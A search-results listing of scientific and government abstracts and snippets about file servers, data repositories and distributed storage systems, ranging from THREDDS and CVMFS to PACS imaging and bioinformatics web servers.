The terms "Team Science" and "Networked Science" have been coined to describe a virtual organization of researchers tied via some intellectual challenge, but often located in different organizations and locations. A critical component to these endeavors is publishing and sharing of content, including scientific data. Imagine pointing your web browser to a web page that interactively lets you upload data and metadata to a repository residing on a remote server, which can then be accessed by others in a secure fasion via the web. While any content can be added to this repository, it is designed particularly for storing and sharing scientific data and metadata. Server support includes uploading of data files that can subsequently be subsetted, aggregrated, and served in NetCDF or other scientific data formats. Metadata can be associated with the data and interactively edited. The THREDDS Data Repository (TDR) is a server that provides client initiated, on demand, location transparent storage for data of any type that can then be served by the THREDDS Data Server (TDS). The TDR provides functionality to: * securely store and "own" data files and associated metadata * upload files via HTTP and gridftp * upload a collection of data as single file * modify and restructure repository contents * incorporate metadata provided by the user * generate additional metadata programmatically * edit individual metadata elements The TDR can exist separately from a TDS, serving content via HTTP. Also, it can work in conjunction with the TDS, which includes functionality to provide: * access to data in a variety of formats via -- OPeNDAP -- OGC Web Coverage Service (for gridded datasets) -- bulk HTTP file transfer * a NetCDF view of datasets in NetCDF, OPeNDAP, HDF-5, GRIB, and NEXRAD formats * serving of very large volume datasets, such as NEXRAD radar * aggregation into virtual datasets * subsetting via OPeNDAP and NetCDF Subsetting services This talk will discuss TDR/TDS capabilities as well as how users can install this software to create their own repositories.

Distributed file management for remote clinical image-viewing stations

NASA Astrophysics Data System (ADS)

Ligier, Yves; Ratib, Osman M.; Girard, Christian; Logean, Marianne; Trayser, Gerhard

1996-05-01

The Geneva PACS is based on a distributed architecture, with different archive servers used to store all the image files produced by digital imaging modalities. Images can then be visualized on different display stations with the Osiris software. Image visualization require to have the image file physically present on the local station. Thus, images must be transferred from archive servers to local display stations in an acceptable way, which means fast and user friendly where the notion of file must be hidden to users. The transfer of image files is done according to different schemes including prefetching and direct image selection. Prefetching allows the retrieval of previous studies of a patient in advance. A direct image selection is also provided in order to retrieve images on request. When images are transferred locally on the display station, they are stored in Papyrus files, each file containing a set of images. File names are used by the Osiris viewing software to open image sequences. But file names alone are not explicit enough to properly describe the content of the file. A specific utility has been developed to present a list of patients, and for each patient a list of exams which can be selected and automatically displayed. The system has been successfully tested in different clinical environments. It will be soon extended on a hospital wide basis.

MITOPRED: a web server for the prediction of mitochondrial proteins

PubMed Central

Guda, Chittibabu; Guda, Purnima; Fahy, Eoin; Subramaniam, Shankar

2004-01-01

MITOPRED web server enables prediction of nucleus-encoded mitochondrial proteins in all eukaryotic species. Predictions are made using a new algorithm based primarily on Pfam domain occurrence patterns in mitochondrial and non-mitochondrial locations. Pre-calculated predictions are instantly accessible for proteomes of Saccharomyces cerevisiae, Caenorhabditis elegans, Drosophila, Homo sapiens, Mus musculus and Arabidopsis species as well as all the eukaryotic sequences in the Swiss-Prot and TrEMBL databases. Queries, at different confidence levels, can be made through four distinct options: (i) entering Swiss-Prot/TrEMBL accession numbers; (ii) uploading a local file with such accession numbers; (iii) entering protein sequences; (iv) uploading a local file containing protein sequences in FASTA format. Automated updates are scheduled for the pre-calculated prediction database so as to provide access to the most current data. The server, its documentation and the data are available from http://mitopred.sdsc.edu. PMID:15215413

Improvements to the National Transport Code Collaboration Data Server

NASA Astrophysics Data System (ADS)

Alexander, David A.

2001-10-01

The data server of the National Transport Code Colaboration Project provides a universal network interface to interpolated or raw transport data accessible by a universal set of names. Data can be acquired from a local copy of the Iternational Multi-Tokamak (ITER) profile database as well as from TRANSP trees of MDS Plus data systems on the net. Data is provided to the user's network client via a CORBA interface, thus providing stateful data server instances, which have the advantage of remembering the desired interpolation, data set, etc. This paper will review the status and discuss the recent improvements made to the data server, such as the modularization of the data server and the addition of hdf5 and MDS Plus data file writing capability.

Engineering the CernVM-Filesystem as a High Bandwidth Distributed Filesystem for Auxiliary Physics Data

NASA Astrophysics Data System (ADS)

Dykstra, D.; Bockelman, B.; Blomer, J.; Herner, K.; Levshina, T.; Slyz, M.

2015-12-01

A common use pattern in the computing models of particle physics experiments is running many distributed applications that read from a shared set of data files. We refer to this data is auxiliary data, to distinguish it from (a) event data from the detector (which tends to be different for every job), and (b) conditions data about the detector (which tends to be the same for each job in a batch of jobs). Relatively speaking, conditions data also tends to be relatively small per job where both event data and auxiliary data are larger per job. Unlike event data, auxiliary data comes from a limited working set of shared files. Since there is spatial locality of the auxiliary data access, the use case appears to be identical to that of the CernVM- Filesystem (CVMFS). However, we show that distributing auxiliary data through CVMFS causes the existing CVMFS infrastructure to perform poorly. We utilize a CVMFS client feature called "alien cache" to cache data on existing local high-bandwidth data servers that were engineered for storing event data. This cache is shared between the worker nodes at a site and replaces caching CVMFS files on both the worker node local disks and on the site's local squids. We have tested this alien cache with the dCache NFSv4.1 interface, Lustre, and the Hadoop Distributed File System (HDFS) FUSE interface, and measured performance. In addition, we use high-bandwidth data servers at central sites to perform the CVMFS Stratum 1 function instead of the low-bandwidth web servers deployed for the CVMFS software distribution function. We have tested this using the dCache HTTP interface. As a result, we have a design for an end-to-end high-bandwidth distributed caching read-only filesystem, using existing client software already widely deployed to grid worker nodes and existing file servers already widely installed at grid sites. Files are published in a central place and are soon available on demand throughout the grid and cached locally on the site with a convenient POSIX interface. This paper discusses the details of the architecture and reports performance measurements.

Engineering the CernVM-Filesystem as a High Bandwidth Distributed Filesystem for Auxiliary Physics Data

DOE Office of Scientific and Technical Information (OSTI.GOV)

Dykstra, D.; Bockelman, B.; Blomer, J.

A common use pattern in the computing models of particle physics experiments is running many distributed applications that read from a shared set of data files. We refer to this data is auxiliary data, to distinguish it from (a) event data from the detector (which tends to be different for every job), and (b) conditions data about the detector (which tends to be the same for each job in a batch of jobs). Relatively speaking, conditions data also tends to be relatively small per job where both event data and auxiliary data are larger per job. Unlike event data, auxiliarymore » data comes from a limited working set of shared files. Since there is spatial locality of the auxiliary data access, the use case appears to be identical to that of the CernVM- Filesystem (CVMFS). However, we show that distributing auxiliary data through CVMFS causes the existing CVMFS infrastructure to perform poorly. We utilize a CVMFS client feature called 'alien cache' to cache data on existing local high-bandwidth data servers that were engineered for storing event data. This cache is shared between the worker nodes at a site and replaces caching CVMFS files on both the worker node local disks and on the site's local squids. We have tested this alien cache with the dCache NFSv4.1 interface, Lustre, and the Hadoop Distributed File System (HDFS) FUSE interface, and measured performance. In addition, we use high-bandwidth data servers at central sites to perform the CVMFS Stratum 1 function instead of the low-bandwidth web servers deployed for the CVMFS software distribution function. We have tested this using the dCache HTTP interface. As a result, we have a design for an end-to-end high-bandwidth distributed caching read-only filesystem, using existing client software already widely deployed to grid worker nodes and existing file servers already widely installed at grid sites. Files are published in a central place and are soon available on demand throughout the grid and cached locally on the site with a convenient POSIX interface. This paper discusses the details of the architecture and reports performance measurements.« less

Vcs.js - Visualization Control System for the Web

NASA Astrophysics Data System (ADS)

Chaudhary, A.; Lipsa, D.; Doutriaux, C.; Beezley, J. D.; Williams, D. N.; Fries, S.; Harris, M. B.

2016-12-01

VCS is a general purpose visualization library, optimized for climate data, which is part of the UV-CDAT system. It provides a Python API for drawing 2D plots such as lineplots, scatter plots, Taylor diagrams, data colored by scalar values, vector glyphs, isocontours and map projections. VCS is based on the VTK library. Vcs.js is the corresponding JavaScript API, designed to be as close as possible to the original VCS Python API and to provide similar functionality for the Web. Vcs.js includes additional functionality when compared with VCS. This additional API is used to introspect data files available on the server and variables available in a data file. Vcs.js can display plots in the browser window. It always works with a server that reads a data file, extracts variables from the file and subsets the data. From this point, two alternate paths are possible. First the system can render the data on the server using VCS producing an image which is send to the browser to be displayed. This path works for for all plot types and produces a reference image identical with the images produced by VCS. This path uses the VTK-Web library. As an optimization, usable in certain conditions, a second path is possible. Data is packed, and sent to the browser which uses a JavaScript plotting library, such as plotly, to display the data. Plots that work well in the browser are line-plots, scatter-plots for any data and many other plot types for small data and supported grid types. As web technology matures, more plots could be supported for rendering in the browser. Rendering can be done either on the client or on the server and we expect that the best place to render will change depending on the available web technology, data transfer costs, server management costs and value provided to users. We intend to provide a flexible solution that allows for both client and server side rendering and a meaningful way to choose between the two. We provide a web-based user interface called vCdat which uses Vcs.js as its visualization library. Our paper will discuss the principles guiding our design choices for Vcs.js, present our design in detail and show a sample usage of the library.

78 FR 77750 - Self-Regulatory Organizations; NYSE MKT LLC; Notice of Filing and Immediate Effectiveness of...

Federal Register 2010, 2011, 2012, 2013, 2014

2013-12-24

... electronic servers in close physical proximity to the Exchange's trading and execution system. See id. at 59299. Partial Cabinets A User is able to request a physical cabinet to house its servers and other... Exchange enter the Exchange's trading and execution systems through the same order gateway, regardless of...

75 FR 69722 - Self-Regulatory Organizations; NYSE Amex LLC; Notice of Filing and Immediate Effectiveness of...

Federal Register 2010, 2011, 2012, 2013, 2014

2010-11-15

... premises controlled by the Exchange in order that they may locate their electronic servers in close... the Exchange's trading and execution systems through the same order gateway regardless of whether the... weekends if NOT scheduled at least 1 day in advance. Rack and Stack Installation of one $200 per server...

Data storage and retrieval system

NASA Technical Reports Server (NTRS)

Nakamoto, Glen

1991-01-01

The Data Storage and Retrieval System (DSRS) consists of off-the-shelf system components integrated as a file server supporting very large files. These files are on the order of one gigabyte of data per file, although smaller files on the order of one megabyte can be accommodated as well. For instance, one gigabyte of data occupies approximately six 9 track tape reels (recorded at 6250 bpi). Due to this large volume of media, it was desirable to shrink the size of the proposed media to a single portable cassette. In addition to large size, a key requirement was that the data needs to be transferred to a (VME based) workstation at very high data rates. One gigabyte (GB) of data needed to be transferred from an archiveable media on a file server to a workstation in less than 5 minutes. Equivalent size, on-line data needed to be transferred in less than 3 minutes. These requirements imply effective transfer rates on the order of four to eight megabytes per second (4-8 MB/s). The DSRS also needed to be able to send and receive data from a variety of other sources accessible from an Ethernet local area network.

Data storage and retrieval system

NASA Technical Reports Server (NTRS)

Nakamoto, Glen

1992-01-01

The Data Storage and Retrieval System (DSRS) consists of off-the-shelf system components integrated as a file server supporting very large files. These files are on the order of one gigabyte of data per file, although smaller files on the order of one megabyte can be accommodated as well. For instance, one gigabyte of data occupies approximately six 9-track tape reels (recorded at 6250 bpi). Due to this large volume of media, it was desirable to 'shrink' the size of the proposed media to a single portable cassette. In addition to large size, a key requirement was that the data needs to be transferred to a (VME based) workstation at very high data rates. One gigabyte (GB) of data needed to be transferred from an archiveable media on a file server to a workstation in less than 5 minutes. Equivalent size, on-line data needed to be transferred in less than 3 minutes. These requirements imply effective transfer rates on the order of four to eight megabytes per second (4-8 MB/s). The DSRS also needed to be able to send and receive data from a variety of other sources accessible from an Ethernet local area network.

Networking CD-ROMs: A Tutorial Introduction.

ERIC Educational Resources Information Center

Perone, Karen

1996-01-01

Provides an introduction to CD-ROM networking. Highlights include LAN (local area network) architectures for CD-ROM networks, peer-to-peer networks, shared file and dedicated file servers, commercial software/vendor solutions, problems, multiple hardware platforms, and multimedia. Six figures illustrate network architectures and a sidebar contains…

Interactive real-time media streaming with reliable communication

NASA Astrophysics Data System (ADS)

Pan, Xunyu; Free, Kevin M.

2014-02-01

Streaming media is a recent technique for delivering multimedia information from a source provider to an end- user over the Internet. The major advantage of this technique is that the media player can start playing a multimedia file even before the entire file is transmitted. Most streaming media applications are currently implemented based on the client-server architecture, where a server system hosts the media file and a client system connects to this server system to download the file. Although the client-server architecture is successful in many situations, it may not be ideal to rely on such a system to provide the streaming service as users may be required to register an account using personal information in order to use the service. This is troublesome if a user wishes to watch a movie simultaneously while interacting with a friend in another part of the world over the Internet. In this paper, we describe a new real-time media streaming application implemented on a peer-to-peer (P2P) architecture in order to overcome these challenges within a mobile environment. When using the peer-to-peer architecture, streaming media is shared directly between end-users, called peers, with minimal or no reliance on a dedicated server. Based on the proposed software pɛvμa (pronounced [revma]), named for the Greek word meaning stream, we can host a media file on any computer and directly stream it to a connected partner. To accomplish this, pɛvμa utilizes the Microsoft .NET Framework and Windows Presentation Framework, which are widely available on various types of windows-compatible personal computers and mobile devices. With specially designed multi-threaded algorithms, the application can stream HD video at speeds upwards of 20 Mbps using the User Datagram Protocol (UDP). Streaming and playback are handled using synchronized threads that communicate with one another once a connection is established. Alteration of playback, such as pausing playback or tracking to a different spot in the media file, will be reflected in all media streams. These techniques are designed to allow users at different locations to simultaneously view a full length HD video and interactively control the media streaming session. To create a sustainable media stream with high quality, our system supports UDP packet loss recovery at high transmission speed using custom File- Buffers. Traditional real-time streaming protocols such as Real-time Transport Protocol/RTP Control Protocol (RTP/RTCP) provide no such error recovery mechanism. Finally, the system also features an Instant Messenger that allows users to perform social interactions with one another while they enjoy a media file. The ultimate goal of the application is to offer users a hassle free way to watch a media file over long distances without having to upload any personal information into a third party database. Moreover, the users can communicate with each other and stream media directly from one mobile device to another while maintaining an independence from traditional sign up required by most streaming services.

77 FR 16307 - Self-Regulatory Organizations; NASDAQ OMX PHLX LLC; Notice of Filing and Immediate Effectiveness...

Federal Register 2010, 2011, 2012, 2013, 2014

2012-03-20

... Change To Eliminate the 100MB Connectivity Option and Fee March 14, 2012. Pursuant to Section 19(b)(1) of... Exchange proposes to eliminate 100MB connectivity between the Exchange and co-located servers, as well as..., Section X(b) to eliminate 100MB connectivity between the Exchange and co-located servers, as well as...

78 FR 77739 - Self-Regulatory Organizations; New York Stock Exchange LLC; Notice of Filing and Immediate...

Federal Register 2010, 2011, 2012, 2013, 2014

2013-12-24

... services allow Users to rent space in the data center so they may locate their electronic servers in close... User is able to request a physical cabinet to house its servers and other equipment in the data center... Exchange enter the Exchange's trading and execution systems through the same order gateway, regardless of...

"WWW.MDTF.ORG": a World Wide Web forum for developing open-architecture, freely distributed, digital teaching file software by participant consensus.

PubMed

Katzman, G L; Morris, D; Lauman, J; Cochella, C; Goede, P; Harnsberger, H R

2001-06-01

To foster a community supported evaluation processes for open-source digital teaching file (DTF) development and maintenance. The mechanisms used to support this process will include standard web browsers, web servers, forum software, and custom additions to the forum software to potentially enable a mediated voting protocol. The web server will also serve as a focal point for beta and release software distribution, which is the desired end-goal of this process. We foresee that www.mdtf.org will provide for widespread distribution of open source DTF software that will include function and interface design decisions from community participation on the website forums.

Data::Downloader

NASA Technical Reports Server (NTRS)

Duggan, Brian

2012-01-01

Downloading and organizing large amounts of files is challenging, and often done using ad hoc methods. This software is capable of downloading and organizing files as an OpenSearch client. It can subscribe to RSS (Really Simple Syndication) feeds and Atom feeds containing arbitrary metadata, and maintains a local content addressable data store. It uses existing standards for obtaining the files, and uses efficient techniques for storing the files. Novel features include symbolic links to maintain a sane directory structure, checksums for validating file integrity during transfer and storage, and flexible use of server-provided metadata.

Request queues for interactive clients in a shared file system of a parallel computing system

DOE Office of Scientific and Technical Information (OSTI.GOV)

Bent, John M.; Faibish, Sorin

Interactive requests are processed from users of log-in nodes. A metadata server node is provided for use in a file system shared by one or more interactive nodes and one or more batch nodes. The interactive nodes comprise interactive clients to execute interactive tasks and the batch nodes execute batch jobs for one or more batch clients. The metadata server node comprises a virtual machine monitor; an interactive client proxy to store metadata requests from the interactive clients in an interactive client queue; a batch client proxy to store metadata requests from the batch clients in a batch client queue;more » and a metadata server to store the metadata requests from the interactive client queue and the batch client queue in a metadata queue based on an allocation of resources by the virtual machine monitor. The metadata requests can be prioritized, for example, based on one or more of a predefined policy and predefined rules.« less

Design and Implementation of a Computation Server for Optimization with Application to the Analysis of Critical Infrastructure

DTIC Science & Technology

2013-06-01

for crop irrigation. The disruptions also 1 idled key industries, led to billions of dollars of lost productivity, and stressed the entire Western...modify the super-system, and to resume the super-system run. 2.2 Requirements An important step in the software development life cycle is to capture...detects the . gms file and associated files in the remote directory that is allocated to the user. 4. If all of the files are present, the files are

Performance Analysis of the Unitree Central File

NASA Technical Reports Server (NTRS)

Pentakalos, Odysseas I.; Flater, David

1994-01-01

This report consists of two parts. The first part briefly comments on the documentation status of two major systems at NASA#s Center for Computational Sciences, specifically the Cray C98 and the Convex C3830. The second part describes the work done on improving the performance of file transfers between the Unitree Mass Storage System running on the Convex file server and the users workstations distributed over a large georgraphic area.

The Fluke Security Project

DTIC Science & Technology

2000-04-01

be an extension of Utah’s nascent Quarks system, oriented to closely coupled cluster environments. However, the grant did not actually begin until... Intel x86, implemented ten virtual machine monitors and servers, including a virtual memory manager, a checkpointer, a process manager, a file server...Fluke, we developed a novel hierarchical processor scheduling frame- work called CPU inheritance scheduling [5]. This is a framework for scheduling

78 FR 77765 - Self-Regulatory Organizations; NYSE Arca, Inc.; Notice of Filing and Immediate Effectiveness of...

Federal Register 2010, 2011, 2012, 2013, 2014

2013-12-24

...-location services allow Users to rent space in the data center so they may locate their electronic servers... Cabinets A User is able to request a physical cabinet to house its servers and other equipment in the data... order gateway, regardless of whether the sender is co-located in the data center or not. In addition, co...

Casimage project: a digital teaching files authoring environment.

PubMed

Rosset, Antoine; Muller, Henning; Martins, Martina; Dfouni, Natalia; Vallée, Jean-Paul; Ratib, Osman

2004-04-01

The goal of the Casimage project is to offer an authoring and editing environment integrated with the Picture Archiving and Communication Systems (PACS) for creating image-based electronic teaching files. This software is based on a client/server architecture allowing remote access of users to a central database. This authoring environment allows radiologists to create reference databases and collection of digital images for teaching and research directly from clinical cases being reviewed on PACS diagnostic workstations. The environment includes all tools to create teaching files, including textual description, annotations, and image manipulation. The software also allows users to generate stand-alone CD-ROMs and web-based teaching files to easily share their collections. The system includes a web server compatible with the Medical Imaging Resource Center standard (MIRC, http://mirc.rsna.org) to easily integrate collections in the RSNA web network dedicated to teaching files. This software could be installed on any PACS workstation to allow users to add new cases at any time and anywhere during clinical operations. Several images collections were created with this tool, including thoracic imaging that was subsequently made available on a CD-Rom and on our web site and through the MIRC network for public access.

KNBD: A Remote Kernel Block Server for Linux

NASA Technical Reports Server (NTRS)

Becker, Jeff

1999-01-01

I am developing a prototype of a Linux remote disk block server whose purpose is to serve as a lower level component of a parallel file system. Parallel file systems are an important component of high performance supercomputers and clusters. Although supercomputer vendors such as SGI and IBM have their own custom solutions, there has been a void and hence a demand for such a system on Beowulf-type PC Clusters. Recently, the Parallel Virtual File System (PVFS) project at Clemson University has begun to address this need (1). Although their system provides much of the functionality of (and indeed was inspired by) the equivalent file systems in the commercial supercomputer market, their system is all in user-space. Migrating their 10 services to the kernel could provide a performance boost, by obviating the need for expensive system calls. Thanks to Pavel Machek, the Linux kernel has provided the network block device (2) with kernels 2.1.101 and later. You can configure this block device to redirect reads and writes to a remote machine's disk. This can be used as a building block for constructing a striped file system across several nodes.

An analysis of the low-earth-orbit communications environment

NASA Astrophysics Data System (ADS)

Diersing, Robert Joseph

Advances in microprocessor technology and availability of launch opportunities have caused interest in low-earth-orbit satellite based communications systems to increase dramatically during the past several years. In this research the capabilities of two low-cost, store-and-forward LEO communications satellites operating in the public domain are examined--PACSAT-1 (operated by the Radio Amateur Satellite Corporation) and UoSAT-3 (operated by the University of Surrey, England, Electrical Engineering Department). The file broadcasting and file transfer facilities are examined in detail and a simulation model of the downlink traffic pattern is developed. The simulator will aid the assessment of changes in design and implementation for other systems. The development of the downlink traffic simulator is based on three major parts. First, is a characterization of the low-earth-orbit operating environment along with preliminary measurements of the PACSAT-1 and UoSAT-3 systems including: satellite visibility constraints on communications, monitoring equipment configuration, link margin computations, determination of block and bit error rates, and establishing typical data capture rates for ground stations using computer-pointed directional antennas and fixed omni-directional antennas. Second, arrival rates for successful and unsuccessful file server connections are established along with transaction service times. Downlink traffic has been further characterized by measuring: frame and byte counts for all data-link layer traffic; 30-second interval average response time for all traffic and for file server traffic only; file server response time on a per-connection basis; and retry rates for information and supervisory frames. Finally, the model is verified by comparison with measurements of actual traffic not previously used in the model building process. The simulator is then used to predict operation of the PACSAT-1 satellite with modifications to the original design.

ModeRNA server: an online tool for modeling RNA 3D structures.

PubMed

Rother, Magdalena; Milanowska, Kaja; Puton, Tomasz; Jeleniewicz, Jaroslaw; Rother, Kristian; Bujnicki, Janusz M

2011-09-01

The diverse functional roles of non-coding RNA molecules are determined by their underlying structure. ModeRNA server is an online tool for RNA 3D structure modeling by the comparative approach, based on a template RNA structure and a user-defined target-template sequence alignment. It offers an option to search for potential templates, given the target sequence. The server also provides tools for analyzing, editing and formatting of RNA structure files. It facilitates the use of the ModeRNA software and offers new options in comparison to the standalone program. ModeRNA server was implemented using the Python language and the Django web framework. It is freely available at http://iimcb.genesilico.pl/modernaserver. iamb@genesilico.pl.

The FELICIA bulletin board system and the IRBIS anonymous FTP server: Computer security information sources for the DOE community. CIAC-2302

DOE Office of Scientific and Technical Information (OSTI.GOV)

Orvis, W.J.

1993-11-03

The Computer Incident Advisory Capability (CIAC) operates two information servers for the DOE community, FELICIA (formerly FELIX) and IRBIS. FELICIA is a computer Bulletin Board System (BBS) that can be accessed by telephone with a modem. IRBIS is an anonymous ftp server that can be accessed on the Internet. Both of these servers contain all of the publicly available CIAC, CERT, NIST, and DDN bulletins, virus descriptions, the VIRUS-L moderated virus bulletin board, copies of public domain and shareware virus- detection/protection software, and copies of useful public domain and shareware utility programs. This guide describes how to connect these systemsmore » and obtain files from them.« less

Agentless Cloud-Wide Monitoring of Virtual Disk State

DTIC Science & Technology

2015-10-01

packages include Apache, MySQL , PHP, Ruby on Rails, Java Application Servers, and many others. Figure 2.12 shows the results of a run of the Software...Linux, Apache, MySQL , PHP (LAMP) set of applications. Thus, many file-level update logs will contain the same versions of files repeated across many

LabKey Server NAb: A tool for analyzing, visualizing and sharing results from neutralizing antibody assays

PubMed Central

2011-01-01

Background Multiple types of assays allow sensitive detection of virus-specific neutralizing antibodies. For example, the extent of antibody neutralization of HIV-1, SIV and SHIV can be measured in the TZM-bl cell line through the degree of luciferase reporter gene expression after infection. In the past, neutralization curves and titers for this standard assay have been calculated using an Excel macro. Updating all instances of such a macro with new techniques can be unwieldy and introduce non-uniformity across multi-lab teams. Using Excel also poses challenges in centrally storing, sharing and associating raw data files and results. Results We present LabKey Server's NAb tool for organizing, analyzing and securely sharing data, files and results for neutralizing antibody (NAb) assays, including the luciferase-based TZM-bl NAb assay. The customizable tool supports high-throughput experiments and includes a graphical plate template designer, allowing researchers to quickly adapt calculations to new plate layouts. The tool calculates the percent neutralization for each serum dilution based on luminescence measurements, fits a range of neutralization curves to titration results and uses these curves to estimate the neutralizing antibody titers for benchmark dilutions. Results, curve visualizations and raw data files are stored in a database and shared through a secure, web-based interface. NAb results can be integrated with other data sources based on sample identifiers. It is simple to make results public after publication by updating folder security settings. Conclusions Standardized tools for analyzing, archiving and sharing assay results can improve the reproducibility, comparability and reliability of results obtained across many labs. LabKey Server and its NAb tool are freely available as open source software at http://www.labkey.com under the Apache 2.0 license. Many members of the HIV research community can also access the LabKey Server NAb tool without installing the software by using the Atlas Science Portal (https://atlas.scharp.org). Atlas is an installation of LabKey Server. PMID:21619655

Filmless PACS in a multiple facility environment

NASA Astrophysics Data System (ADS)

Wilson, Dennis L.; Glicksman, Robert A.; Prior, Fred W.; Siu, Kai-Yeung; Goldburgh, Mitchell M.

1996-05-01

A Picture Archiving and Communication System centered on a shared image file server can support a filmless hospital. Systems based on this architecture have proven themselves in over four years of clinical operation. Changes in healthcare delivery are causing radiology groups to support multiple facilities for remote clinic support and consolidation of services. There will be a corresponding need for communicating over a standardized wide area network (WAN). Interactive workflow, a natural extension to the single facility case, requires a means to work effectively and seamlessly across moderate to low speed communication networks. Several schemes for supporting a consortium of medical treatment facilities over a WAN are explored. Both centralized and distributed database approaches are evaluated against several WAN scenarios. Likewise, several architectures for distributing image file servers or buffers over a WAN are explored, along with the caching and distribution strategies that support them. An open system implementation is critical to the success of a wide area system. The role of the Digital Imaging and Communications in Medicine (DICOM) standard in supporting multi- facility and multi-vendor open systems is also addressed. An open system can be achieved by using a DICOM server to provide a view of the system-wide distributed database. The DICOM server interface to a local version of the global database lets a local workstation treat the multiple, distributed data servers as though they were one local server for purposes of examination queries. The query will recover information about the examination that will permit retrieval over the network from the server on which the examination resides. For efficiency reasons, the ability to build cross-facility radiologist worklists and clinician-oriented patient folders is essential. The technologies of the World-Wide-Web can be used to generate worklists and patient folders across facilities. A reliable broadcast protocol may be a convenient way to notify many different users and many image servers about new activities in the network of image servers. In addition to ensuring reliability of message delivery and global serialization of each broadcast message in the network, the broadcast protocol should not introduce significant communication overhead.

R3D Align web server for global nucleotide to nucleotide alignments of RNA 3D structures.

PubMed

Rahrig, Ryan R; Petrov, Anton I; Leontis, Neocles B; Zirbel, Craig L

2013-07-01

The R3D Align web server provides online access to 'RNA 3D Align' (R3D Align), a method for producing accurate nucleotide-level structural alignments of RNA 3D structures. The web server provides a streamlined and intuitive interface, input data validation and output that is more extensive and easier to read and interpret than related servers. The R3D Align web server offers a unique Gallery of Featured Alignments, providing immediate access to pre-computed alignments of large RNA 3D structures, including all ribosomal RNAs, as well as guidance on effective use of the server and interpretation of the output. By accessing the non-redundant lists of RNA 3D structures provided by the Bowling Green State University RNA group, R3D Align connects users to structure files in the same equivalence class and the best-modeled representative structure from each group. The R3D Align web server is freely accessible at http://rna.bgsu.edu/r3dalign/.

PRince: a web server for structural and physicochemical analysis of protein-RNA interface.

PubMed

Barik, Amita; Mishra, Abhishek; Bahadur, Ranjit Prasad

2012-07-01

We have developed a web server, PRince, which analyzes the structural features and physicochemical properties of the protein-RNA interface. Users need to submit a PDB file containing the atomic coordinates of both the protein and the RNA molecules in complex form (in '.pdb' format). They should also mention the chain identifiers of interacting protein and RNA molecules. The size of the protein-RNA interface is estimated by measuring the solvent accessible surface area buried in contact. For a given protein-RNA complex, PRince calculates structural, physicochemical and hydration properties of the interacting surfaces. All these parameters generated by the server are presented in a tabular format. The interacting surfaces can also be visualized with software plug-in like Jmol. In addition, the output files containing the list of the atomic coordinates of the interacting protein, RNA and interface water molecules can be downloaded. The parameters generated by PRince are novel, and users can correlate them with the experimentally determined biophysical and biochemical parameters for better understanding the specificity of the protein-RNA recognition process. This server will be continuously upgraded to include more parameters. PRince is publicly accessible and free for use. Available at http://www.facweb.iitkgp.ernet.in/~rbahadur/prince/home.html.

WMS Server 2.0

NASA Technical Reports Server (NTRS)

Plesea, Lucian; Wood, James F.

2012-01-01

This software is a simple, yet flexible server of raster map products, compliant with the Open Geospatial Consortium (OGC) Web Map Service (WMS) 1.1.1 protocol. The server is a full implementation of the OGC WMS 1.1.1 as a fastCGI client and using Geospatial Data Abstraction Library (GDAL) for data access. The server can operate in a proxy mode, where all or part of the WMS requests are done on a back server. The server has explicit support for a colocated tiled WMS, including rapid response of black (no-data) requests. It generates JPEG and PNG images, including 16-bit PNG. The GDAL back-end support allows great flexibility on the data access. The server is a port to a Linux/GDAL platform from the original IRIX/IL platform. It is simpler to configure and use, and depending on the storage format used, it has better performance than other available implementations. The WMS server 2.0 is a high-performance WMS implementation due to the fastCGI architecture. The use of GDAL data back end allows for great flexibility. The configuration is relatively simple, based on a single XML file. It provides scaling and cropping, as well as blending of multiple layers based on layer transparency.

37 CFR 360.4 - Compliance with statutory dates.

Code of Federal Regulations, 2010 CFR

2010-07-01

... shall be considered timely filed only if: (1) They are received online in the Board's server no later than 5 p.m. E.D.T. on July 31. Online claims must be filed through the Copyright Royalty Board Web site... paragraph (a)(4) of this section. (b) Claims dated only with a business meter that are received after July...

37 CFR 360.13 - Compliance with statutory dates.

Code of Federal Regulations, 2010 CFR

2010-07-01

... shall be considered timely filed only if: (1) They are received online in the Board's server no later than 5 p.m. e.d.t. on July 31. Online claims must be filed through the Copyright Royalty Board Web site... paragraph (a)(4) of this section. (b) Claims dated only with a business meter that are received after July...

37 CFR 360.13 - Compliance with statutory dates.

Code of Federal Regulations, 2011 CFR

2011-07-01

... shall be considered timely filed only if: (1) They are received online in the Board's server no later than 5 p.m. e.d.t. on July 31. Online claims must be filed through the Copyright Royalty Board Web site... online through the Board's Web site or the electronic mail message from the Board confirming receipt of...

37 CFR 360.4 - Compliance with statutory dates.

Code of Federal Regulations, 2011 CFR

2011-07-01

... shall be considered timely filed only if: (1) They are received online in the Board's server no later than 5 p.m. E.D.T. on July 31. Online claims must be filed through the Copyright Royalty Board Web site... online through the Board's Web site or the electronic mail message from the Board confirming receipt of...

Performance of a distributed superscalar storage server

NASA Technical Reports Server (NTRS)

Finestead, Arlan; Yeager, Nancy

1993-01-01

The RS/6000 performed well in our test environment. The potential exists for the RS/6000 to act as a departmental server for a small number of users, rather than as a high speed archival server. Multiple UniTree Disk Server's utilizing one UniTree Disk Server's utilizing one UniTree Name Server could be developed that would allow for a cost effective archival system. Our performance tests were clearly limited by the network bandwidth. The performance gathered by the LibUnix testing shows that UniTree is capable of exceeding ethernet speeds on an RS/6000 Model 550. The performance of FTP might be significantly faster if asked to perform across a higher bandwidth network. The UniTree Name Server also showed signs of being a potential bottleneck. UniTree sites that would require a high ratio of file creations and deletions to reads and writes would run into this bottleneck. It is possible to improve the UniTree Name Server performance by bypassing the UniTree LibUnix Library altogether and communicating directly with the UniTree Name Server and optimizing creations. Although testing was performed in a less than ideal environment, hopefully the performance statistics stated in this paper will give end-users a realistic idea as to what performance they can expect in this type of setup.

Sawmill: A Logging File System for a High-Performance RAID Disk Array

DTIC Science & Technology

1995-01-01

from limiting disk performance, new controller architectures connect the disks directly to the network so that data movement bypasses the file server...These developments raise two questions for file systems: how to get the best performance from a RAID, and how to use such a controller architecture ...the RAID-II storage system; this architecture provides a fast data path that moves data rapidly among the disks, high-speed controller memory, and the

Covert Channels within IRC

DTIC Science & Technology

2011-03-24

in the secret file in bits. Therefore, CPP is a function of the size of the secret file and amount of covert information embedded per packet, while...CPS is dependent on the size of the secret file and the rate at which the covert packets are transmitted to the IRC server. • Build a covert...and decode a secret message. • Cover. The object being used to hide the secret information; this is often in the form of pictures [FPK07], audio

An interactive environment for the analysis of large Earth observation and model data sets

NASA Technical Reports Server (NTRS)

Bowman, Kenneth P.; Walsh, John E.; Wilhelmson, Robert B.

1994-01-01

